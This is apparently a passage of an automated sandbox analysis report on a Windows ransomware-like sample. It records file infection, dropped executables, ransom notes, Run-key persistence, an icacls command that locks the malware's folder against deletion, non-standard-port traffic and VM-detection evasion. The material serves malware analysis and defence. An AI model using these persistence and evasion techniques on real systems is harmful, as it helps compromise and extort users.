Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Unpacked PE file: 10.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;4\ud:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Unpacked PE file: 13.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;4\ud:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Unpacked PE file: 17.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;4\ud:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Unpacked PE file: 2.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Unpacked PE file: 9.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Unpacked PE file: 10.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Unpacked PE file: 13.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Unpacked PE file: 17.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Code function: 0_2_00402F2C CreateDirectoryExA,CreateDirectoryExA,GetMailslotInfo,SetFilePointer,_calloc,_feof,LoadLibraryA,GetProcAddress,LocalAlloc,GetBinaryTypeA,GetProcessWorkingSetSize,WriteConsoleW,GetLastError,CreateDirectoryExA,lstrlenW,

0_2_00402F2C

Source: initial sample

Static PE information: section where entry point is pointing to: 4\ud

Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Static PE information: section name: 4\ud
Source: Uninstall.exe.1.dr	Static PE information: section name: EpNuZ
Source: MyProg.exe.1.dr	Static PE information: section name: PELIB
Source: MyProg.exe.1.dr	Static PE information: section name: Y\|uR
Source: SciTE.exe.1.dr	Static PE information: section name: u
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.2.dr	Static PE information: section name: 4\ud

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_00502E7B push ebp; ret	0_2_00502E7E
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_00502E85 push 00000000h; ret	0_2_00503296
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_00405561 push ecx; ret	0_2_00405574
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0219B0AF push ecx; retf	0_2_0219B0B2
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_02258F05 push ecx; ret	0_2_02258F18
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Code function: 1_2_00B41638 push dword ptr [00B43084h]; ret	1_2_00B4170E
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Code function: 1_2_00B46014 push 00B414E1h; ret	1_2_00B46425
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Code function: 1_2_00B42D9B push ecx; ret	1_2_00B42DAB
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Code function: 1_2_00B4600A push ebp; ret	1_2_00B4600D
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00428565 push ecx; ret	2_2_00428578
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0080F0AF push ecx; retf	7_2_0080F0B2
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_02268F05 push ecx; ret	7_2_02268F18
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_008F60AF push ecx; retf	8_2_008F60B2
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_022A8F05 push ecx; ret	8_2_022A8F18

Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Static PE information: section name: .text entropy: 7.440277027032213
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Static PE information: section name: 4\ud entropy: 6.934241467441137
Source: Uninstall.exe.1.dr	Static PE information: section name: EpNuZ entropy: 6.934370687745791
Source: MyProg.exe.1.dr	Static PE information: section name: Y\|uR entropy: 6.934443058766276
Source: SciTE.exe.1.dr	Static PE information: section name: u entropy: 6.933866946530587
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.2.dr	Static PE information: section name: .text entropy: 7.440277027032213
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.2.dr	Static PE information: section name: 4\ud entropy: 6.934241467441137

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\AppData\Local\Temp\RranN.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	System file written: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to behavior

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\RranN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\chrome.exe.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\tmp431A.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\wctF86A.tmp.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	File created: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\wctF86A.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\wct3D66.tmp.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	File created: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\RranN.exe.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\wct3D66.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\tmp431A.tmp.wdlo (copy)	Jump to dropped file

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\_readme.txt	Jump to behavior

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown

Network traffic detected: HTTP traffic on port 49730 -> 799

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Code function: 2_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

2_2_00481920

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Code function: 0_2_0219971C rdtsc

0_2_0219971C

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,

2_2_0040E670

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Thread delayed: delay time: 900000

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RranN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\chrome.exe.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\tmp431A.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\wctF86A.tmp.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wctF86A.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\wct3D66.tmp.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\RranN.exe.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wct3D66.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\tmp431A.tmp.wdlo (copy)	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\RranN.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_1-1053

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep			graph_0-34606
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_2-39069

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe TID: 3808	Thread sleep time: -900000s >= -30000s
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe TID: 7560	Thread sleep count: 183 > 30

Source: C:\Users\user\AppData\Local\Temp\RranN.exe

Code function: 1_2_00B41718 GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [ebp+08h], 02h and CTI: jne 00B41754h

1_2_00B41718

Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Code function: 1_2_00B429E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,	1_2_00B429E2
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_00410160
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_0040F730
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	2_2_0040FB98

Source: C:\Users\user\AppData\Local\Temp\RranN.exe

Code function: 1_2_00B42B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,

1_2_00B42B8C

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Thread delayed: delay time: 900000

Source: C:\Users\user\AppData\Local\Temp\RranN.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Source: Amcache.hve.1.dr	Binary or memory string: VMware
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000002.00000002.1742866355.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: Amcache.hve.1.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.1.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.1.dr	Binary or memory string: VMware, Inc.
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000002.00000002.1742866355.0000000000926000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW-
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2879315090.0000000003460000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 10/03/2023 13:09:52.535OFFICECL (0x2394)0x12d8Telemetry EventbiyhqMediumSendEvent {"EventName": "Office.System.SystemHealthMetadataDeviceConsolidated", "Flags": 33777031581908737, "InternalSequenceNumber": 11, "Time": "2023-10-03T12:09:52Z", "Rule": "120600.4", "AriaTenantToken": "cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521", "Contract": "Office.Legacy.Metadata", "Data.ProcTypeText": "x64", "Data.ProcessorCount": 2, "Data.NumProcShareSingleCore": 1, "Data.NumProcShareSingleCache": 1, "Data.NumProcPhysCores": 2, "Data.ProcSpeedMHz": 2000, "Data.IsLaptop": false, "Data.IsTablet": false, "Data.RamMB": 4096, "Data.PowerPlatformRole": 1, "Data.SysVolSizeMB": 50000, "Data.DeviceManufacturer": "VMWare, Inc.", "Data.DeviceModel": "VMware20,1", "Data.DigitizerInfo": 0, "Data.SusClientId": "097C77FB-5D5D-4868-860B-09F4E5B50A53", "Data.WindowsSqmMachineId": "92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A", "Data.ComputerSystemProductUuidHash": "rC2kkStHpWGLvfAgmQZRz4w5ixE=", "Data.DeviceProcessorModel": "Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz", "Data.HasSpectreFix": true, "Data.BootDiskType": "SSD"}
Source: Amcache.hve.1.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.1.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.1.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.1.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
